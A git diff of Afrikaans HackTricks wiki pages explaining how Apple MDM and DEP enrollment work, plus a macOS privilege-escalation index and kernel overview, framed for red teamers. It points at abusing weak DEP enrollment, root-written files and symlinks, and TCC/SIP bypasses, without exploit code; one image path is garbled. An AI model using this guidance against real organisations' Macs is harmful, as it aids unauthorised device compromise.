* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hackingtruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
**Om meer te leer oor macOS MDM's kyk na:**
**Om meer te leer oor macOS MDM's kyk:**
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
@ -23,15 +24,15 @@ Ander maniere om HackTricks te ondersteun:
### **MDM (Mobile Device Management) Oorsig**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) word gebruik vir die bestuur van verskeie eindgebruiker-toestelle soos slimfone, draagbare rekenaars en tablette. Veral vir Apple se platforms (iOS, macOS, tvOS) behels dit 'n stel gespesialiseerde kenmerke, API's en praktyke. Die werking van MDM steun op 'n verenigbare MDM-bediener, wat of kommersieel beskikbaar is of oopbron, en moet die [MDM-protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) ondersteun. Sleutelpunte sluit in:
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) word gebruik om verskeie eindgebruikers-toestelle soos slimfone, draagbare rekenaars en tablette te bestuur. Veral vir Apple se platforms (iOS, macOS, tvOS) behels dit 'n stel gespesialiseerde kenmerke, API's en praktyke. Die werking van MDM steun op 'n verenigbare MDM-bediener, wat of kommersieel beskikbaar is of oopbron, en moet die [MDM-protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf) ondersteun. Sleutelpunte sluit in:
* Gekentraliseerde beheer oor toestelle.
* Afhanklikheid van 'n MDM-bediener wat voldoen aan die MDM-protokol.
* Die vermoë van die MDM-bediener om verskeie bevele na toestelle te stuur, byvoorbeeld afstanddata-uitvee of opsetinstallasie.
* Vermoë van die MDM-bediener om verskeie bevele na toestelle te stuur, byvoorbeeld afstanddata-uitvee of opsetinstallasie.
### **Basiese beginsels van DEP (Device Enrollment Program)**
Die [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) wat deur Apple aangebied word, stroomlyn die integrasie van Mobile Device Management (MDM) deur nul-aanraking-konfigurasie vir iOS, macOS en tvOS-toestelle te fasiliteer. DEP outomatiseer die registrasieproses, sodat toestelle reguit uit die boks operasioneel kan wees, met minimale gebruiker- of administratiewe ingryping. Essensiële aspekte sluit in:
Die [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) wat deur Apple aangebied word, vereenvoudig die integrasie van Mobile Device Management (MDM) deur nul-aanraking-konfigurasie vir iOS, macOS en tvOS-toestelle te fasiliteer. DEP outomatiseer die intekeningsproses, wat toestelle in staat stel om reg uit die boks operasioneel te wees, met minimale gebruiker- of administratiewe ingryping. Belangrike aspekte sluit in:
* Stel toestelle in staat om outomaties te registreer by 'n voorafbepaalde MDM-bediener met aanvanklike aktivering.
* Hoofsaaklik voordelig vir splinternuwe toestelle, maar ook toepaslik vir toestelle wat herkonfigurasie ondergaan.
@ -39,10 +40,10 @@ Die [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Gu
### **Sekuriteits oorwegings**
Dit is noodsaaklik om daarop te let dat die gemak van registrasie wat DEP bied, terwyl dit voordelig is, ook sekuriteitsrisiko's kan inhou. As beskermende maatreëls nie voldoende afgedwing word vir MDM-registrasie nie, kan aanvallers hierdie gestroomlynproses benut om hul toestel op die organisasie se MDM-bediener te registreer, wat as 'n korporatiewe toestel voorgee.
Dit is noodsaaklik om daarop te let dat die gemak van intekening wat deur DEP gebied word, terwyl dit voordelig is, ook sekuriteitsrisiko's kan inhou. As beskermende maatreëls nie voldoende afgedwing word vir MDM-intekening nie, kan aanvallers hierdie vereenvoudigde proses benut om hul toestel op die organisasie se MDM-bediener te registreer, wat as 'n korporatiewe toestel voorgee.
{% hint style="danger" %}
**Sekuriteitswaarskuwing**: Vereenvoudigde DEP-registrasie kan moontlik ongemagtigde toestelregistrasie op die organisasie se MDM-bediener toelaat as behoorlike beskermingsmaatreëls nie in plek is nie.
**Sekuriteitswaarskuwing**: Vereenvoudigde DEP-intekening kan moontlik ongemagtigde toestelregistrasie op die organisasie se MDM-bediener toelaat as behoorlike beskermingsmaatreëls nie in plek is nie.
{% endhint %}
### Basies Wat is SCEP (Simple Certificate Enrolment Protocol)?
@ -50,29 +51,29 @@ Dit is noodsaaklik om daarop te let dat die gemak van registrasie wat DEP bied,
* 'n Relatief ou protokol, geskep voordat TLS en HTTPS wydverspreid was.
* Gee kliënte 'n gestandaardiseerde manier om 'n **Certificate Signing Request** (CSR) te stuur vir die doel om 'n sertifikaat toegeken te word. Die kliënt sal die bediener vra om hom 'n ondertekende sertifikaat te gee.
### Wat is Konfigurasieprofiel (aka mobileconfigs)?
### Wat is Konfigurasieprofiel (ook bekend as mobiele konfigurasies)?
* Apple se amptelike manier om **sisteemkonfigurasie in te stel/af te dwing.**
* Lêerformaat wat verskeie vragte kan bevat.
* Gebaseer op eienskapslyste (die XML-soort).
* "kan onderteken en versleutel word om hul oorsprong te valideer, hul integriteit te verseker, en hul inhoud te beskerm." Basiese beginsels — Bladsy 70, iOS Security Guide, Januarie 2018.
* "kan onderteken en versleutel word om hul oorsprong te valideer, hul integriteit te verseker, en hul inhoud te beskerm." Basiese beginsels - Bladsy 70, iOS-sekuriteitsgids, Januarie 2018.
## Protokolle
### MDM
* Kombinasie van APNs (**Apple-bedieners**) + RESTful API (**MDM-vennootskap**-bedieners)
* **Kommunikasie** vind plaas tussen 'n toestel en 'n bediener wat verband hou met 'n **toestelbestuursproduk**
* Kombinasie van APNs (**Apple-bediener**s) + RESTful API (**MDM-vennoot**-bedieners)
* **Kommunikasie** vind plaas tussen 'n **toestel** en 'n bediener wat verband hou met 'n **toestelbestuursproduk**
* **Bevele** wat van die MDM na die toestel gestuur word in **plist-gekodeerde woordeboeke**
* Alles oor **HTTPS**. MDM-bedieners kan (en is gewoonlik) gepin.
* Al oor **HTTPS**. MDM-bediener kan (en is gewoonlik) gepin.
* Apple verleen die MDM-vennoot 'n **APNs-sertifikaat** vir verifikasie
### DEP
* **3 API's**: 1 vir wederverkopers, 1 vir MDM-vennote, 1 vir toestelidentiteit (ondokumenteer):
* Die sogenaamde [DEP "wolkmeganisme" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Dit word deur MDM-bedieners gebruik om DEP-profiel met spesifieke toestelle te assosieer.
* Die [DEP-API wat deur Apple Gemagtigde Wederverkopers gebruik word](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) om toestelle in te skryf, inskrywingsstatus te kontroleer, en transaksiestatus te kontroleer.
* Die ongedokumenteerde private DEP-API. Dit word deur Apple-toestelle gebruik om hul DEP-profiel aan te vra. Op macOS is die `cloudconfigurationd`-binêre lêer verantwoordelik vir die kommunikasie oor hierdie API.
* Die [DEP-API wat deur Apple Gemagtigde Wederverkopers gebruik word](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) om toestelle in te skryf, intekeningsstatus te kontroleer, en transaksiestatus te kontroleer.
* Die ongedokumenteerde private DEP-API. Dit word deur Apple-toestelle gebruik om hul DEP-profiel aan te vra. Op macOS is die `cloudconfigurationd` binêre verantwoordelik vir kommunikasie oor hierdie API.
* Meer moderne en **JSON**-gebaseer (vs. plist)
* Apple verleen 'n **OAuth-token** aan die MDM-vennoot
@ -80,9 +81,9 @@ Dit is noodsaaklik om daarop te let dat die gemak van registrasie wat DEP bied,
* RESTful
* sink toestelrekords van Apple na die MDM-bediener
* sink "DEP-profiel" na Apple van die MDM-bediener (deur Apple later aan die toestel gelewer)
* sink "DEP-profiel" na Apple van die MDM-bediener (later deur Apple aan die toestel gelewer)
* 'n DEP "profiel" bevat:
* MDM-vennoot-bediener-URL
* MDM-vennootbediener-URL
* Addisionele vertroude sertifikate vir bediener-URL (opsionele pinning)
* Ekstra instellings (bv. watter skerms om oor te slaan in die Opsetassistent)
@ -94,11 +95,11 @@ Apple-toestelle wat na 2010 vervaardig is, het oor die algemeen **12-karakter al
[macos-serial-number.md](macos-serial-number.md)
{% endcontent-ref %}
## Stappe vir inskrywing en bestuur
## Stappe vir intekening en bestuur
1. Toestelrekord-skepping (Wederverkoper, Apple): Die rekord vir die nuwe toestel word geskep
2. Toestelrekord-toewysing (Kliënt): Die toestel word toegewys aan 'n MDM-bediener
3. Toestelrekord-sinkronisasie (MDM-vennoot): MDM sinkroniseer die toestelrekords en druk die DEP-profiel na Apple
1. Skep van toestelrekord (Wederverkoper, Apple): Die rekord vir die nuwe toestel word geskep
2. Toestelrekordtoewysing (Kliënt): Die toestel word toegewys aan 'n MDM-bediener
3. Toestelrekordsinkronisasie (MDM-vennoot): MDM sinkroniseer die toestelrekords en druk die DEP-profiel na Apple
4. DEP-inloer (Toestel): Toestel kry sy DEP-profiel
5. Profielherwinning (Toestel)
6. Profielinstallasie (Toestel) a. insl. MDM, SCEP en stam CA-vragte
@ -106,7 +107,7 @@ Apple-toestelle wat na 2010 vervaardig is, het oor die algemeen **12-karakter al
![](<../../../.gitbook/assets/image (694).png>)
Die lêer `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` voer funksies uit wat as **hoëvlak "stappe"** van die inskrywingsproses beskou kan word.
Die lêer `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` voer funksies uit wat as **hoëvlak "stappe"** van die intekeningsproses beskou kan word.
### Stap 4: DEP kontrole - Kry die Aktiveringsrekord
Hierdie deel van die proses vind plaas wanneer 'n **gebruiker 'n Mac vir die eerste keer opstart** (of na 'n volledige vee)
@ -119,10 +120,10 @@ of wanneer die `sudo profiles show -type enrollment` uitgevoer word
* Aktiveringsrekord is die interne naam vir **DEP "profiel"**
* Begin sodra die toestel aan die internet gekoppel is
* Gedryf deur **`CPFetchActivationRecord`**
* Geïmplementeer deur **`cloudconfigurationd`** via XPC. Die **"Opstelassistent**" (wanneer die toestel vir die eerste keer opgestart word) of die **`profiles`** bevel sal **hierdie daemon kontak** om die aktiveringsrekord op te haal.
* Geïmplementeer deur **`cloudconfigurationd`** via XPC. Die **"Opstelassistent**" (wanneer die toestel vir die eerste keer opgestart word) of die **`profiles`** bevel sal **hierdie daemon kontak** om die aktiveringsrekord te haal.
* LaunchDaemon (hardloop altyd as root)
Dit volg 'n paar stappe om die Aktiveringsrekord uit te voer deur **`MCTeslaConfigurationFetcher`**. Hierdie proses gebruik 'n versleuteling genaamd **Absinthe**
Dit volg 'n paar stappe om die Aktiveringsrekord uit te voer deur **`MCTeslaConfigurationFetcher`**. Hierdie proses gebruik 'n enkripsie genaamd **Absinthe**
1. Haal die **sertifikaat** op
1. KRY [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
@ -140,10 +141,10 @@ Dit volg 'n paar stappe om die Aktiveringsrekord uit te voer deur **`MCTeslaConf
Die reaksie is 'n JSON-woordeboek met belangrike data soos:
* **url**: URL van die MDM-leweransier-gashuis vir die aktiveringsprofiel
* **url**: URL van die MDM-leweransiergasheer vir die aktiveringsprofiel
* **anker-sertifikate**: Reeks DER-sertifikate wat as vertroude ankers gebruik word
### **Stap 5: Profielopname**
### **Stap 5: Profielherwinning**
![](<../../../.gitbook/assets/image (444).png>)
@ -156,48 +157,4 @@ Die reaksie is 'n JSON-woordeboek met belangrike data soos:
* Onderteken met die **toestelidentiteitsertifikaat (van APNS)**
* **Sertifikaatketting** sluit vervalde **Apple iPhone-toestel-CA** in
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Stap 6: Profielinstallasie
* Nadat dit opgehaal is, word die **profiel op die stelsel gestoor**
* Hierdie stap begin outomaties (indien in **opstelassistent**)
* Gedryf deur **`CPInstallActivationProfile`**
* Geïmplementeer deur mdmclient oor XPC
* LaunchDaemon (as root) of LaunchAgent (as gebruiker), afhangende van konteks
* Konfigurasieprofiele het verskeie vragte om te installeer
* Raamwerk het 'n plugin-gebaseerde argitektuur vir die installeer van profiele
* Elke vragtipe is geassosieer met 'n plugin
* Kan XPC (in raamwerk) of klassieke Cocoa (in ManagedClient.app) wees
* Voorbeeld:
* Sertifikaatvragte gebruik CertificateService.xpc
Tipies sal die **aktiveringsprofiel** wat deur 'n MDM-leweransier voorsien word, die volgende vragte insluit:
* `com.apple.mdm`: om die toestel in MDM **te laat inskryf**
* `com.apple.security.scep`: om veilig 'n **kliëntsertifikaat** aan die toestel te voorsien.
* `com.apple.security.pem`: om **vertroude CA-sertifikate** op die toestel se Stelsel Sleutelketting te installeer.
* Die installeer van die MDM-vrag is gelykstaande aan **MDM-kontrole in die dokumentasie**
* Vrag bevat sleutel eienskappe:
*
* MDM Kontroleer-In URL (**`CheckInURL`**)
* MDM Opdrag Aftoets-URL (**`ServerURL`**) + APNs-onderwerp om dit te aktiveer
* Om die MDM-vrag te installeer, word 'n versoek gestuur na **`CheckInURL`**
* Geïmplementeer in **`mdmclient`**
* MDM-vrag kan afhang van ander vragte
* Laat **versoeke toe om aan spesifieke sertifikate geheg te word**:
* Eienskap: **`CheckInURLPinningCertificateUUIDs`**
* Eienskap: **`ServerURLPinningCertificateUUIDs`**
* Afgelewer deur PEM-vrag
* Laat toe dat die toestel geassosieer word met 'n identiteitsertifikaat:
* Eienskap: IdentityCertificateUUID
* Afgelewer deur SCEP-vrag
### **Stap 7: Luister vir MDM-opdragte**
* Nadat MDM-kontrole voltooi is, kan die leweransier **dringende kennisgewings uitreik deur APNs**
* Na ontvangs, hanteer deur **`mdmclient`**
* Om vir MDM-opdragte te peil, word 'n versoek gestuur na ServerURL
* Maak gebruik van voorheen geïnstalleerde MDM-vrag:
* **`ServerURLPinningCertificateUUIDs`** vir hegting van versoek
* **`IdentityCertificateUUID`** vir TLS-kliëntsertifikaat
![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)

View file

@ -1,37 +1,38 @@
# macOS Sekuriteit & Voorregverhoging
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hakinsigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak bevat
**Hack-insigte**\
Betrokkenheid by inhoud wat die opwinding en uitdagings van hack weergee
**Nuutste Haknuus**\
Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in werklikheid
**Nuutste Hack-nuus**\
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Basiese MacOS
As jy nie vertroud is met macOS nie, moet jy begin om die basiese beginsels van macOS te leer:
As jy nie vertroud is met macOS nie, moet jy begin om die basiese van macOS te leer:
* Spesiale macOS **lêers & toestemmings:**
@ -68,7 +69,7 @@ As jy nie vertroud is met macOS nie, moet jy begin om die basiese beginsels van
### MacOS MDM
In maatskappye is dit baie waarskynlik dat **macOS-stelsels met 'n MDM bestuur** word. Daarom is dit vir 'n aanvaller interessant om te weet **hoe dit werk**:
In maatskappye is **macOS**-stelsels hoogs waarskynlik om **bestuur te word met 'n MDM**. Daarom is dit vir 'n aanvaller interessant om te weet **hoe dit werk**:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
@ -94,13 +95,13 @@ As 'n **proses wat as root loop 'n lêer skryf** wat deur 'n gebruiker beheer ka
Dit kan in die volgende situasies gebeur:
* Lêer wat reeds deur 'n gebruiker geskep is (behoort aan die gebruiker)
* Lêer wat deur die gebruiker geskryf kan word weens 'n groep
* Lêer wat deur die gebruiker skryfbaar is weens 'n groep
* Lêer wat binne 'n gids behoort aan die gebruiker is (die gebruiker kan die lêer skep)
* Lêer wat binne 'n gids behoort aan root is, maar die gebruiker het skryftoegang daaroor weens 'n groep (die gebruiker kan die lêer skep)
Om 'n **lêer te skep** wat deur root gaan **gebruik word**, stel 'n gebruiker in staat om **voordeel te trek uit die inhoud** daarvan of selfs **simboleer/harde skakels** te skep om dit na 'n ander plek te verwys.
Om 'n **lêer te skep** wat deur root gaan word **gebruik**, laat 'n gebruiker toe om van die inhoud daarvan te **profiteer** of selfs **simbole/harde skakels** te skep om dit na 'n ander plek te verwys.
Vir hierdie soort kwesbaarhede, moenie vergeet om kwesbare `.pkg` installeerders te **ondersoek** nie:
Vir hierdie soort kwesbaarhede, moenie vergeet om kwesbare `.pkg`-installeerders te **kontroleer**:
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
@ -108,7 +109,7 @@ Vir hierdie soort kwesbaarhede, moenie vergeet om kwesbare `.pkg` installeerders
### Lêeruitbreiding & URL-skema-toepassingshanteraars
Vreemde programme wat geregistreer is deur lêeruitbreidings kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle oop te maak
Vreemde toepassings wat geregistreer is deur lêeruitbreidings kan misbruik word en verskillende toepassings kan geregistreer word om spesifieke protokolle te open
{% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md)
@ -116,7 +117,7 @@ Vreemde programme wat geregistreer is deur lêeruitbreidings kan misbruik word e
## macOS TCC / SIP Voorregverhoging
In macOS **kan programme en bineêre lêers toestemmings hê** om toegang tot lêers of instellings te verkry wat hulle bevoorregter maak as ander.
In macOS **kan aansoeke en bineêre lêers toestemmings** hê om toegang tot lêers of instellings te verkry wat hulle bevoorregter maak as ander.
Daarom sal 'n aanvaller wat 'n macOS-rekenaar suksesvol wil kompromiteer, sy TCC-voorregte moet **verhoog** (of selfs **SIP omseil**, afhangende van sy behoeftes).
@ -126,7 +127,7 @@ Volg hierdie skakels om verskillende maniere te vind om [**voorregte in TCC te v
## macOS Tradisionele Voorregverhoging
Natuurlik moet jy as 'n rooi span ook belangstel om na root te verhoog. Kyk na die volgende pos vir 'n paar wenke:
Natuurlik moet jy as 'n rooi span ook belangstel om na root te verhoog. Kontroleer die volgende pos vir 'n paar wenke:
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -141,29 +142,30 @@ Natuurlik moet jy as 'n rooi span ook belangstel om na root te verhoog. Kyk na d
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hacken-insigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hacken ondersoek
**Hack-insigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bekyk
**Hack Nuus in Werklikheid**\
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# macOS Kernel & Sisteemuitbreidings
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## XNU Kernel
Die **kern van macOS is XNU**, wat staan vir "X is Not Unix". Hierdie kernel is fundamenteel saamgestel uit die **Mach mikrokernel** (wat later bespreek sal word), **en** elemente van die Berkeley Software Distribution (**BSD**). XNU bied ook 'n platform vir **kernbestuurders deur 'n stelsel genaamd die I/O Kit**. Die XNU-kernel is deel van die Darwin oopbronprojek, wat beteken **sy bronkode is vrylik toeganklik**.
Vanuit die oogpunt van 'n sekuriteitsnavorsers of 'n Unix-ontwikkelaar, **kan macOS** redelik **soortgelyk voel** aan 'n **FreeBSD**-sisteem met 'n elegante GUI en 'n verskeidenheid aangepaste toepassings. Die meeste toepassings wat vir BSD ontwikkel is, sal op macOS kompileer en loop sonder dat aanpassings nodig is, aangesien die opdraglynwerktuie wat bekend is aan Unix-gebruikers almal teenwoordig is in macOS. Tog, omdat die XNU-kernel Mach inkorporeer, is daar enkele beduidende verskille tussen 'n tradisionele Unix-soortgelyke stelsel en macOS, en hierdie verskille kan potensiële probleme veroorsaak of unieke voordele bied.
Vanuit die oogpunt van 'n sekuriteitsnavorsers of 'n Unix-ontwikkelaar, **kan macOS** redelik **soortgelyk voel** aan 'n **FreeBSD**-sisteem met 'n elegante GUI en 'n verskeidenheid aangepaste toepassings. Die meeste toepassings wat vir BSD ontwikkel is, sal op macOS kompileer en loop sonder om wysigings nodig te hê, aangesien die opdraglyn-hulpmiddels wat bekend is aan Unix-gebruikers almal teenwoordig is in macOS. Tog, omdat die XNU-kernel Mach inkorporeer, is daar 'n paar beduidende verskille tussen 'n tradisionele Unix-soortgelyke stelsel en macOS, en hierdie verskille kan potensiële probleme veroorsaak of unieke voordele bied.
Oopbronweergawe van XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is 'n **mikrokernel** wat ontwerp is om **UNIX-kompatibel** te wees. Een van sy sleutelontwerpbeginsels was om die hoeveelheid **kode** wat in die **kern**-ruimte hardloop, te **minimeer** en eerder baie tipiese kernfunksies, soos lêersisteem, netwerk en I/O, toe te laat om as gebruikersvlaktake te **hardloop**.
